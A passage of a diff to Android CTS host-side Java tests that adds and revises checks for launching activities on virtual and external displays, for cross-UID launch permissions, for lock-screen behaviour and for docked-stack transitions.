+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity from the
+ * first one - it must appear on the secondary display, because it was launched from there.
+ */
+ public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
// Launch activity on new secondary display.
@@ -665,6 +738,112 @@
}
/**
+ * Tests launching an activity on virtual display and then launching another activity from the
+ * first one with specifying the target display - it must appear on the secondary display.
+ */
+ public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
+ SECOND_ACTIVITY_NAME);
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+
+ // Launch other activity with different uid and check if it has launched successfully.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId
+ + " --es target_activity " + THIRD_ACTIVITY_NAME
+ + " --es package_name " + THIRD_PACKAGE_NAME);
+ mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
+ THIRD_ACTIVITY_NAME);
+ frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity that
+ * doesn't allow embedding - it should fail with security exception.
+ */
+ public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ final String logSeparator = clearLogcat();
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ assertSecurityException("ActivityLauncher", logSeparator);
+ }
+
+ /**
+ * Tests launching an activity to secondary display from activity on primary display.
+ */
+ public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Start launching activity.
+ launchActivity(LAUNCHING_ACTIVITY);
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on secondary display from the app on primary display.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ // Check that activity is launched on external display.
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
* Tests launching activities on secondary and then on primary display to see if the stack
* visibility is not affected.
*/
@@ -774,9 +953,8 @@
if (!supportsMultiDisplay()) { return; }
// Start an activity on default display to determine default stack.
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, DEFAULT_DISPLAY_ID);
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-
// Finish probing activity.
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
@@ -862,12 +1040,6 @@
public void testStackFocusSwitchOnTouchEvent() throws Exception {
if (!supportsMultiDisplay()) { return; }
- // VR Virtual display has a back button to dismiss. Clicking with a touchpad on any
- // location does not dismiss the virtual display as assumed in this test.
- if (mVrHeadset) {
- return;
- }
-
// Create new virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
@@ -891,8 +1063,8 @@
VIRTUAL_DISPLAY_ACTIVITY);
}
- /** Test that system is allowed to launch on secondary displays. */
- public void testPermissionLaunchFromSystem() throws Exception {
+ /** Test that shell is allowed to launch on secondary displays. */
+ public void testPermissionLaunchFromShell() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
@@ -931,11 +1103,53 @@
externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
}
+ /** Test that launching from app that is on external display is allowed. */
+ public void testPermissionLaunchFromAppOnSecondary() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Launch another activity with third different uid from app on secondary display and check
+ // it is launched on secondary display.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+ + " --es package_name " + THIRD_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId;
+ final String includeStoppedPackagesFlag = " -f 0x00000020";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + targetActivity + includeStoppedPackagesFlag);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+ assertEquals("Activity launched by app on secondary display must be on that display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
/** Tests that an activity can launch an activity from a different UID into its own task. */
public void testPermissionLaunchMultiUidTask() throws Exception {
if (!supportsMultiDisplay()) { return; }
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
@@ -962,6 +1176,50 @@
}
/**
+ * Test that launching from display owner is allowed even when the the display owner
+ * doesn't have anything on the display.
+ */
+ public void testPermissionLaunchFromOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch other activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Check that owner uid can launch its own activity on secondary display.
+ final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+ + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
* Test that launching from app that is not present on external display and doesn't own it to
* that external display is not allowed.
*/
@@ -992,17 +1250,28 @@
final String logSeparator = clearLogcat();
- // Launch other activity with different uid and check it is launched on primary display.
+ // Launch other activity with different uid and check security exception is triggered.
final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
final String includeStoppedPackagesFlag = " -f 0x00000020";
executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+ + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.assertFocusedActivity(
+ "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+ assertEquals("Focused stack must be on secondary display's stack",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ private void assertSecurityException(String component, String logSeparator) throws Exception {
int tries = 0;
boolean match = false;
final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
while (tries < 5 && !match) {
- String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
+ String[] logs = getDeviceLogsForComponent(component, logSeparator);
for (String line : logs) {
Matcher m = pattern.matcher(line);
if (m.matches()) {
@@ -1018,19 +1287,31 @@
}
assertTrue("Expected exception not found", match);
+ }
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
- mAmWmState.assertFocusedActivity(
- "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
- assertEquals("Focused stack must be on secondary display's stack",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ /**
+ * Test that only private virtual display can show content with insecure keyguard.
+ */
+ public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) {
+ return;
+ }
+
+ // Try to create new show-with-insecure-keyguard public virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setPublicDisplay(true)
+ .setCanShowWithInsecureKeyguard(true)
+ .setMustBeCreated(false)
+ .build();
+
+ // Check that the display is not created.
+ assertNull(newDisplay);
}
/**
* Test that all activities that were on the private display are destroyed on display removal.
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
public void testContentDestroyOnDisplayRemoved() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1285,6 +1566,7 @@
executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
final int stackId = mVrHeadset ? defaultDisplayFrontStackId : frontStackId;
+ final int focusedStackTaskCount = mVrHeadset ? 3 : 1;
mAmWmState.waitForFocusedStack(mDevice, stackId);
// Check that the third intent is redirected to the first task
@@ -1293,10 +1575,8 @@
assertEquals("Activity launched on default display must be resumed",
getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on primary display", stackId);
- if (!mVrHeadset) {
- assertEquals("Focused stack must contain correct tasks",
- 1, secondFrontStack.getTasks().size());
- }
+ assertEquals("Focused stack must contain correct tasks",
+ focusedStackTaskCount, secondFrontStack.getTasks().size());
assertEquals("Focused task must only contain 1 activity",
1, secondFrontStack.getTasks().get(0).mActivities.size());
}
@@ -1308,7 +1588,8 @@
public void testNewTaskSameDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
@@ -1346,22 +1627,16 @@
mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
- // In vr mode, 2d activities are launched on a virtual display. This means that when
- // LAUNCHING_ACTIVITY is launched, it ends up on a activity stack on the vr virtual
- // display but on any other device it ends up on a activity stack on the new virtual
- // display created which is denoted by the frontStackId.
- int tempStackId = mAmWmState.getAmState().getFrontStackId(displayId);
- int stackId = mVrHeadset ? tempStackId : frontStackId;
+ int stackId = mAmWmState.getAmState().getFrontStackId(displayId);
mAmWmState.assertFocusedStack("Focus must be on secondary display", stackId);
final ActivityManagerState.ActivityStack secondFrontStack =
mAmWmState.getAmState().getStackById(stackId);
assertEquals("Activity must be launched on secondary display",
getActivityComponentName(LAUNCHING_ACTIVITY),
secondFrontStack.mResumedActivity);
- if (!mVrHeadset) {
- assertEquals("Secondary display must contain correct tasks",
- 2, secondFrontStack.getTasks().size());
- }
+ final int taskCount = mVrHeadset ? 3 : 2;
+ assertEquals("Secondary display must contain correct tasks",
+ taskCount, secondFrontStack.getTasks().size());
}
/**
@@ -1404,6 +1679,235 @@
// All overrides will be cleared in tearDown.
}
+ /**
+ * Tests than an immediate launch after new display creation is handled correctly.
+ */
+ public void testImmediateLaunchOnNewDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display and immediately launch an activity on it.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+ // Check that activity is launched and placed correctly.
+ mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ }
+
+ /**
+ * Tests that turning the primary display off does not affect the activity running
+ * on an external secondary display.
+ */
+ public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the activity is launched onto the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Wait for the fullscreen stack to start sleeping, and then make sure the
+ // test activity is still resumed. Note that on some devices, the top activity may go to
+ // the stopped state by itself on sleep, causing the server side to believe it is still
+ // paused.
+ waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped or paused after turning off");
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that an activity can be launched on a secondary display while the primary
+ * display is off.
+ */
+ public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that turning the secondary display off stops activities running on that display.
+ */
+ public void testExternalDisplayToggleState() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ mExternalDisplayHelper.turnDisplayOff();
+
+ // Check that turning off the external display stops the activity
+ waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
+ "Activity launched on external display must be stopped after turning off");
+
+ mExternalDisplayHelper.turnDisplayOn();
+
+ // Check that turning on the external display resumes the activity
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that tapping on the primary display after showing the keyguard resumes the
+ * activity on the primary display.
+ */
+ public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ sleepDevice();
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ // Unlock the device and tap on the middle of the primary display
+ wakeUpDevice();
+ executeShellCommand("wm dismiss-keyguard");
+ final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ final int width = displayMetrics.getWidth();
+ final int height = displayMetrics.getHeight();
+ executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+ // Check that the activity on the primary display is resumed
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+ assertEquals("Unexpected resumed activity",
+ 1, mAmWmState.getAmState().getResumedActivitiesCount());
+ }
+
+ private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
+ throws Exception {
+ mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
+
+ final String fullActivityName = getActivityComponentName(activityName);
+ assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+ ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
+ assertTrue(message,
+ mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+ mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
+ mAmWmState.assertVisibility(activityName, true /* visible */);
+ }
+
+ private void waitAndAssertActivityStopped(String activityName, String message)
+ throws Exception {
+ waitAndAssertActivityState(activityName, message, STATE_STOPPED);
+ }
+
+ private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
+ throws Exception {
+ waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
+ }
+
+ private void waitAndAssertActivityState(String activityName, String message, String... states)
+ throws Exception {
+ mAmWmState.waitForActivityState(mDevice, activityName, states);
+
+ boolean stateFound = false;
+
+ for (String state : states) {
+ if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
+ stateFound = true;
+ break;
+ }
+ }
+
+ assertTrue(message, stateFound);
+ }
+
+ /**
+ * Tests that showWhenLocked works on a secondary display.
+ */
+ public void testSecondaryDisplayShowWhenLocked() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ try {
+ setLockCredential();
+
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+ launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+
+ mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.waitForActivityState(
+ mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+
+ mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+ assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
+ .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
+ } finally {
+ tearDownLockCredentials();
+ }
+ }
+
/** Get physical and override display metrics from WM. */
private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
mDumpLines.clear();
@@ -1527,4 +2031,35 @@
return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
" --es command resize_display";
}
+
+ /**
+ * Creates a private virtual display with the external and show with insecure
+ * keyguard flags set.
+ */
+ private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
+ throws Exception {
+ final ReportedDisplays originalDS = getDisplaysStates();
+ final int originalDisplayCount = originalDS.getNumberOfDisplays();
+
+ mExternalDisplayHelper = new DisplayHelper(getDevice());
+ mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
+
+ // Wait for the virtual display to be created and get configurations.
+ final ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + 1);
+ assertEquals("New virtual display must be created",
+ originalDisplayCount + 1, ds.getNumberOfDisplays());
+
+ // Find the newly added display.
+ final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
+ return newDisplays.get(0);
+ }
+
+ /** Turns the primary display on/off by pressing the power key */
+ private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
+ // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
+ int keycode = wantOn ? 224 : 223;
+ getDevice().executeShellCommand("input keyevent " + keycode);
+ DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
index 2eb2a3e..518fb00 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -20,7 +20,8 @@
import com.android.tradefed.log.LogUtil.CLog;
import java.awt.Rectangle;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -124,11 +125,8 @@
// Remove the docked stack, and ensure that
final String logSeparator = clearLogcat();
removeStacks(DOCKED_STACK_ID);
- assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
- 0 /* numConfigChange */, logSeparator);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
- TEST_ACTIVITY_NAME, logSeparator);
+ TEST_ACTIVITY_NAME, logSeparator);
assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
}
@@ -409,6 +407,37 @@
mAmWmState.computeState(mDevice, waitForActivitiesVisible);
}
+ public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+ // going home has the correct app transition
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+ assertDockMinimized();
+
+ // Unminimize the docked stack
+ pressAppSwitchButton();
+ waitForDockNotMinimized();
+ assertDockNotMinimized();
+
+ // Dismiss the dock stack
+ launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
+
+ // Go home and check the app transition
+ assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ pressHomeButton();
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ }
+ }
+
public void testFinishDockActivityWhileMinimized() throws Exception {
